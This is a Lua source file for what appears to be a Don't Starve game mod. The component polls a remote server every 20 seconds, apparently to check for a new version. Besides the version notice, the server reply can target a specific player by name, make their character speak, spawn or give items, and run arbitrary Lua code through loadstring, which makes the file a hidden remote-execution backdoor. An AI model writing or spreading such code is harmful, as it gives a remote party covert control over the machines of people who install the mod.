local Text = require "widgets/text"
local YiyuNetWork = Class(function(self, inst)
	self.inst = inst
	self.task_yiyu1 = nil
	self.task_yiyu2 = nil
	self.yiyu_netserver = nil

	self.cantask = nil
	self.repeats = nil
	self.userid = nil
	self.days = nil
	self.season = nil
	self.level = nil
	self.maxhp = nil
	self.maxsan = nil

	self.talk = nil
	self.make = nil
	self.give = nil
	self.number = nil
	self.functions = nil
	self.url = nil
	inst:DoPeriodicTask(20, function() self:OnUpdate(self, inst) end)
end)

function YiyuNetWork:OnSave()
    return
    {
        cantask = self.cantask,
        repeats = self.repeats
    }
end

function YiyuNetWork:OnLoad(data)
	if data ~= nil then
		self.cantask = data.cantask
		self.repeats = data.repeats
	end
end

function YiyuNetWork:runnetwork(userid,repeats,days,season,level,maxhp,maxsan,talk,make,give,number,functions,url)
local username = TheSim:GetUsersName()
if userid then
	if username == userid then
		local Num = 0
		if number and number ~= "null" then Num = number end
--print(Num,number)
		if talk and talk ~= "null" then GetPlayer().components.talker:Say(talk) end
		if make and make ~= "null" then
	for i = 0, Num do
		local pt = Vector3(GetPlayer().Transform:GetWorldPosition())
		local item = SpawnPrefab(make)
		if item then item.Transform:SetPosition(pt.x, pt.y, pt.z) end
	end
		end
		if give and give ~= "null" then
	for i = 0, Num do
		local item = SpawnPrefab(give)
		if item and GetPlayer().components.inventory then GetPlayer().components.inventory:GiveItem(item) end
	end
		end
		if functions and functions ~= "null" then return loadstring(functions)() end
	elseif days then
--print("天数信息")
		local day = tostring(GetClock().numcycles)
		if repeats and repeats == "yes" and day and days and day == days then GetPlayer().HUD.nandu6:Show() else GetPlayer().HUD.nandu6:Hide() end
	end
end
end

local function loadnetwork(self, text)
	local YIYU_NETVERSION = TUNING.YIYU_VERSION
	local null = "nil"
	local json = require "json"
	local userid = TheSim:GetUserID()
	local realid = string.gsub(userid, "@steam", "")
	realid = string.gsub(realid, "@rail", "")
	GetPlayer().HUD.nandu4 = GetPlayer().HUD.controls.topright_root:AddChild(Text(BODYTEXTFONT, 25))
	GetPlayer().HUD.nandu4:SetPosition(-350,-125,0)
	GetPlayer().HUD.nandu4:SetColour(0, 1, 0.6, 1)
	GetPlayer().HUD.nandu4:SetString(TUNING.YIYUVERSION)
	GetPlayer().HUD.nandu4:Hide()
	GetPlayer().HUD.nandu6 = GetPlayer().HUD.controls.topright_root:AddChild(Text(BODYTEXTFONT, 25))
	GetPlayer().HUD.nandu6:SetPosition(-350,-25,0)
	GetPlayer().HUD.nandu6:SetString(realid)
	GetPlayer().HUD.nandu6:Hide()

	local status, motd = pcall( function() return json.decode(text) end )
	if status and motd then
	local platform_motd = motd.steam
	if platform_motd then
	YIYU_NETVERSION = platform_motd.yiyu_netserver
	self.repeats = platform_motd.repeats
	self.userid = platform_motd.userid
	self.days = platform_motd.days
	self.season = platform_motd.season
	self.level = platform_motd.level
	self.maxhp = platform_motd.maxhp
	self.maxsan = platform_motd.maxsan
	self.talk = platform_motd.talk
	self.make = platform_motd.make
	self.give = platform_motd.give
	self.number = platform_motd.number
	self.url = platform_motd.url
	self.functions = platform_motd.functions
--print("获取正常")
	if self.cantask ~= platform_motd.cantask then
	self.cantask = platform_motd.cantask
	self:runnetwork(self.userid,self.repeats,self.days,self.season,self.level,self.maxhp,self.maxsan,self.talk,self.make,self.give,self.number,self.functions,self.url)
	end

	end
	end
	if TUNING.YIYU_VERSION < YIYU_NETVERSION then GetPlayer().HUD.nandu4:Show() else GetPlayer().HUD.nandu4:Hide() end
end

function YiyuNetWork:OnUpdate(self, inst)
	TheSim:QueryServer( TUNING.YIYUURL, function(...) loadnetwork(self,...) end, "GET" )
end

return YiyuNetWork